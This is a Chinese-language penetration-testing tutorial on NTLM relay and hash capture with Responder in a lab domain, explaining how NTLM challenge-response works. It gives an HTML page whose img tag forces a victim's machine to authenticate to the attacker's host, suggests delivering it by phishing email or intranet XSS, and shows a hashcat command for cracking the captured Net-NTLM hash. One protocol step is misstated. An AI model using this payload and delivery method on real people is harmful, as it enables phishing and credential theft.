作者： r0n1n
免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。

0x01 前言

进入内网之后想获取运维人员（特定人员）的系统密码，在已经获得内网Linux或者代理隧道的前提下利用社会工程学或者水坑攻击的方式来获取特定机器的权限。

0x02 协议

1、NTLMHash：将明文口令转换成十六进制，转换成Unicode格式，然后对Unicode字符串进行MD4加密，这个结果就是32位的十六进制NTLMhash。

2、NTLM协议认证过程
1、客户端向服务器发送包含 “登录名”的请求
2、服务端接收到请求后，生成16位的随机说，这个随机数称为的 Challenge，把Challenge以明文发送给客户端；同时使用“登录名”对应的NTLMHash加密 Challenge，生成 CHallenge1。
3、客户端使用NTLMhash对 Challenge 进行加密，生成 Response ，然后把 Response 发送给客户端
4、服务端接收到 Response 之后，和Challenge1 进行比对，若相等则认证通过。

0x03 测试环境

Windows 2012 DC：10.10.10.30
攻击：kali 10.10.10.110（在实战环境中，可以设置内网隧道代理，让攻击机介入内网环境）

0x04 Responder中继攻击

0、若要自定义配置，则修改配置文件

vim /etc/responder/Responder.conf

1、构造路径URl：file:\10.10.10.110\2
2、使用钓鱼邮件的方式或者内网平台XSS的方式发送给对方，诱导对方点击，如下构造 img 标签让URL路径自动加载：

//test.html
<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><img src="file:///\\10.10.10.110\2">
</body>
</html>

3、模拟受害者点击 test.html

4、在攻击机可以看到 NTLM 交互的信息，以及抓到的 Net-NTLM hash

5、本地破解 Net-NTLM hash或者进行其他方式的横向利用。

hashcat -m 5600 Administrator::GOD:21ed1f5c81f170d4:A56F30D70BA5F4FA024E3EF9217FE597:010100000000000000222F8D349BD7014AE122434F3905210000000002000800470050004F00550001001E00570049004E002D0042005300360055004A004E003400340046005500490004003400570049004E002D0042005300360055004A004E00340034004600550049002E00470050004F0055002E004C004F00430041004C0003001400470050004F0055002E004C004F00430041004C0005001400470050004F0055002E004C004F00430041004C000700080000222F8D349BD701060004000200000008003000300000000000000000000000003000009B104D06CF5BAF7410BA9791D62CB3AA09ABCF7B20F94B29DF932D51807CDB630A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310030002E00310031003000000000000000000000000000 pass.txt

0x05 参考文章：

1、https://zhuanlan.zhihu.com/p/74259859
2、https://beta.4hou.com/system/9383.html

0x06 了解更多安全知识

欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！

域渗透｜NTLM 中继攻击相关推荐

NTLM 中继攻击的几种非主流玩法
在企业组织中的常见的一种安全风险是凭证重用,当攻击者攻击 NT LAN Manager 身份验证协议(以下简称 NTLM 身份验证)时就会出现这样的风险,而这个协议通常会在微软的活动目录中默认启 ...
域渗透之委派攻击全集
声明出品|先知社区(ID:永安寺) 以下内容,来自先知社区的永安寺作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任 ...
内网渗透测试：NTLM Relay攻击分析
目录基础知识 NTLM认证过程 NTLM中继攻击原理获得Net-NTLM Relay的思路利用LLMNR和NetBIOS欺骗获得Net-NTLMHash 利用WPAD劫持获得Net-NTLMHa ...
AD域渗透 | PTHPTK哈希传递攻击手法
AD域渗透的第二篇,托更一下Kerberos协议的分析文章,等到攻击手法研究明白了,再把协议分析放上来,防止像那些理解不明不白的人写的东西一样祸害人. 发生情况在高版本的windows server ...
域渗透委派攻击之约束委派
约束委派约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非 ...
NTLM/smb 中继攻击
NTLM中继其实简单来说,ntlm中继攻击就是一种中间人攻击 Windows系统域名解析顺序本地hosts文件(%Systemroot%\System32\drivers\etc\hosts) D ...
学习笔记-NTLM中继
NTLM中继免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. NTLM hash 分为 NTLMv1 NTLMv2 NTLMv2 ses ...
AD CS证书服务中继攻击
0x1 简介 AD CS支持几种基于HTTP协议的通过管理员可以安装的其他AD CS服务器角色功能,这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击. 注:借图 0x2 环境信息域控(w ...
Windows 内网渗透之委派攻击
文章目录委派攻击前言非约束委派攻击非约束委派大致流程搭建复现查询配置非约束委派 powerview 查询配置非约束委派 adfind查询非约束委派非约束委派攻击案例非约束委派& ...

域渗透｜NTLM 中继攻击